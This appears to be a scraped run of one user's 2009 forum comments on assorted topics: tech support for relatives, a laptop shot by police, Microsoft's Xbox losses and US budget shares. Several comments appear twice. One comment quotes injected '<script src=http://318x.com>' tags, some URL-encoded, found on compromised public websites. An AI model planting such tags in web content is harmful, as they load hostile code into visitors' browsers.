...now has scientific backing. Go ahead, pick up that chip that fell on the floor and eat it. When someone gives you a look, just tell them you are maintaining a healthy microbial diversity.
With less than 48 hours in the Christmas shopping season!? Are you insane or a sadist? Perhaps both because the debauchery I proposed pales in comparison to the malice you wish upon me.
Indeed. My girlfriend and I would drag our asses to bed at 6 am. Looking back, I'd never believe the effort I had to undertake to get her to even try playing a MMO... shortly there after, she wanted her own PC.
...even if he were the biggest idiot who burns half his house down in the process of setting his VCR clock.
Well of course. Your uncle would feel bad suing you after the house burnt down. The jack/jagoff on the other hand is a different matter. However...
When it comes to me fixing, say, a loose power socket that just needed the screw in back tightened down...
Don't you know that slashdot geeks are expected by relatives to fix hardware failures via email or over the phone? By using clairvoyance and the uncanny ability to determine what failed with only a "I tried [ insert normal activity ] and it didn't work. What's wrong?". You should be able to will that screw to tighten by incanting tech jargon over the internet.
In a game like Eve, you can choose to pick any skill you want to learn.
What they've included is professional certifications to act as a guide to be competent at a task. Technology can be used to augment the character's short comings.
First, I completely agree with Freitas’s comment. “These guys shoot every day at unarmed people, even children. Why so much surprise about a simple laptop?”
No matter how I slice it in my head, I can't figure out why on earth they shot a fucking computer except that 1. it might be really fucking fun or 2. they were hardcore MS fanboys.
Or maybe she wasn't quite as innocent in her comments in her two hour interview?
First, I completely agree with Freitas’s comment. “These guys shoot every day at unarmed people, even children. Why so much surprise about a simple laptop?”
I'll read the article when I get home then. Perhaps the summary over condensed and squeezed out too much detail. Still, even good websites can produce articles with poorly supported conclusions.
with a $31 million US loss coming straight from the Entertainment and Devices division, which is responsible for the Xbox 360
Websense blocked the article but.... So, Microsoft lost money. One part of the company lost $31 million. That one part is responsible for the Xbox 360. Therefore the conclusion is that the Xbox 360 and it's ilk are doomed to failure? Sorry, but it seems to me that leap in logic could mean anything produced from Microsoft's Entertainment and Devices division was doomed to failure. Like games,... and keyboards...
What I think is far more likely was someone was thinking of how to drive traffic from/. and other geek sites to their site and said to themselves "Ooooo.... I bet an article about console gaming dying would do the trick!"
I concur. Searching for the iframe script, this is what I found. Sorry if I can't say if it's something like dotnet nuke. The ocassional coldfusion page also has me wondering.
From the first page of a google search for "<script src=http://318x.com></script>":
City of Iowa City<script src=http://318x.com></script> - How to... Microsoft VBScript runtime error '800a000d'. Type mismatch: '[string: "1035<script src=http"]'./default/templates/top2.asp, line 60. www.icgov.org/default/?id=1787
www.icgov.org:80 GET / HTTP/1.1
HTTP/1.1 400 Bad Request Server: Microsoft-IIS/5.0 Date: Thu, 10 Dec 2009 20:29:42 GMT Connection: close Content-Length: 4009 Content-Type: text/html
So, on the lower end of the full quality scale you've defined a range and within that range, the special manages to be average. "decently middling" as you put it. So I take it that you may be inclined to say that the Special epitomizes the content within that range?
Or, as I would put it, you could say that the Special defines "sucks"
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...now has scientific backing. Go ahead, pick up that chip that fell on the floor and eat it. When someone gives you a look, just tell them you are maintaining a healthy microbial diversity.
For anyone who would like to look at the actual data and draw their own conclusions.
http://www.gpoaccess.gov/usbudget/fy10/pdf/hist.pdf
Page 321
Consumption expenditures 2010 Estimate ( % GDP )
Defense - 4.8
Nondefense - 2.5
Consumption expenditures 2002 ( % GDP )
Defense - 3.5
Nondefense - 2.0
Current Transfer payments 2010 Estimate ( % GDP )
Government social benefits - 11.0
Grants to State and local governments - 3.8
Other transfers to the rest of the world - 0.3
Current Transfer payments 2002 ( % GDP )
Government social benefits - 8.7
Grants to State and local governments - 2.9
Other transfers to the rest of the world - 0.2
Lucky bastard, that implies you still got to use your own...I had to build *myself* my "own" pc...
I hope you managed to sneak in a few upgrades at least.
... you should get out more.
With less than 48 hours in the Christmas shopping season!? Are you insane or a sadist? Perhaps both because the debauchery I proposed pales in comparison to the malice you wish upon me.
...a mixed bag.
Indeed. My girlfriend and I would drag our asses to bed at 6 am. Looking back, I'd never believe the effort I had to undertake to get her to even try playing a MMO... shortly there after, she wanted her own PC.
I loled but I'm also frightened since I expect to see ... *pause*
*googles*
You?
And if it was a Massively Multicar bridge, it wouldn't even cross the chasm all the way before it was opened.
Well, lets face the facts. They were really just trying to avoid mentioning the internet porn industry.
...even if he were the biggest idiot who burns half his house down in the process of setting his VCR clock.
Well of course. Your uncle would feel bad suing you after the house burnt down. The jack/jagoff on the other hand is a different matter. However...
When it comes to me fixing, say, a loose power socket that just needed the screw in back tightened down...
Don't you know that slashdot geeks are expected by relatives to fix hardware failures via email or over the phone? By using clairvoyance and the uncanny ability to determine what failed with only a "I tried [ insert normal activity ] and it didn't work. What's wrong?". You should be able to will that screw to tighten by incanting tech jargon over the internet.
In a game like Eve, you can choose to pick any skill you want to learn.
What they've included is professional certifications to act as a guide to be competent at a task. Technology can be used to augment the character's short comings.
-- so the viewer's experience of digitally-projected movies can, in fact, be superior to that of traditional film.
... provided, of course, you have the DRM key.
After an experience like that, you might have a slightly different outlook as well.
So, lets say that I destroy your laptop intentionally. Obviously, the next logical step is to accuse me of shooting woman and children?
I ask this. What type of disposition do you think could exist for that leap to be made?
Now, could this not be the case? Yes. But by the person's own comments, you must accept the possibility that it could be.
What political statements?
Perhaps she wasn't quite as innocent in her comments as she made herself out to be in her two hour interview?
From her next blog entry: http://lilysussman.wordpress.com/2009/12/13/beyond-the-laptop/
First, I completely agree with Freitas’s comment. “These guys shoot every day at unarmed people, even children. Why so much surprise about a simple laptop?”
No matter how I slice it in my head, I can't figure out why on earth they shot a fucking computer except that 1. it might be really fucking fun or 2. they were hardcore MS fanboys.
Or maybe she wasn't quite as innocent in her comments in her two hour interview?
From her next blog entry: http://lilysussman.wordpress.com/2009/12/13/beyond-the-laptop/
First, I completely agree with Freitas’s comment. “These guys shoot every day at unarmed people, even children. Why so much surprise about a simple laptop?”
So,.... shoot yourself in the foot to establish that shooting yourself in the foot is bad?
Ah, one of these popular music bands that can be received on the radio tuning device.
Residing in the "Where are they now?" file.
I'll read the article when I get home then. Perhaps the summary over condensed and squeezed out too much detail. Still, even good websites can produce articles with poorly supported conclusions.
So space will be colonized by people with dysfunctional families?
Sorry folks, planet's closed. The six legged moose like creature out front should have told you.
with a $31 million US loss coming straight from the Entertainment and Devices division, which is responsible for the Xbox 360
Websense blocked the article but.... So, Microsoft lost money. One part of the company lost $31 million. That one part is responsible for the Xbox 360. Therefore the conclusion is that the Xbox 360 and it's ilk are doomed to failure? Sorry, but it seems to me that leap in logic could mean anything produced from Microsoft's Entertainment and Devices division was doomed to failure. Like games,... and keyboards...
What I think is far more likely was someone was thinking of how to drive traffic from /. and other geek sites to their site and said to themselves "Ooooo.... I bet an article about console gaming dying would do the trick!"
When living in a fantasy world, you learn nothing about the real world.
That's why the "Troll" mod was invented.
Shoggoths Wanted
I concur. Searching for the iframe script, this is what I found. Sorry if I can't say if it's something like dotnet nuke. The ocassional coldfusion page also has me wondering.
From the first page of a google search for "<script src=http://318x.com></script>":
City of Iowa City<script src=http://318x.com></script> - How to ... /default/templates/top2.asp, line 60.
Microsoft VBScript runtime error '800a000d'. Type mismatch: '[string: "1035<script src=http"]'.
www.icgov.org/default/?id=1787
YEMEN TIMES : Education ...
Opportunities<script src=http://318x.com></script> Letters<script src=http://318x.com></script> Archive<script src=http://318x.com></script>
www.yementimes.com/DEFAULTSUB.ASPX?pnc=57&pnm... - Cached
IWCS - Learning<script src=http://318%78.com></script><script src ... ...
Membership<script src=http://318%78.com></script><script src=http://318x.%63om></script> IWCS Shared Channels<script src=http://318%78.com></script><script
www.iwcs.com/category.cfm?Category=2932
Maybe he was dictating it.
So, on the lower end of the full quality scale you've defined a range and within that range, the special manages to be average. "decently middling" as you put it. So I take it that you may be inclined to say that the Special epitomizes the content within that range?
Or, as I would put it, you could say that the Special defines "sucks"
This post can be summed up with one word: "Sheeple".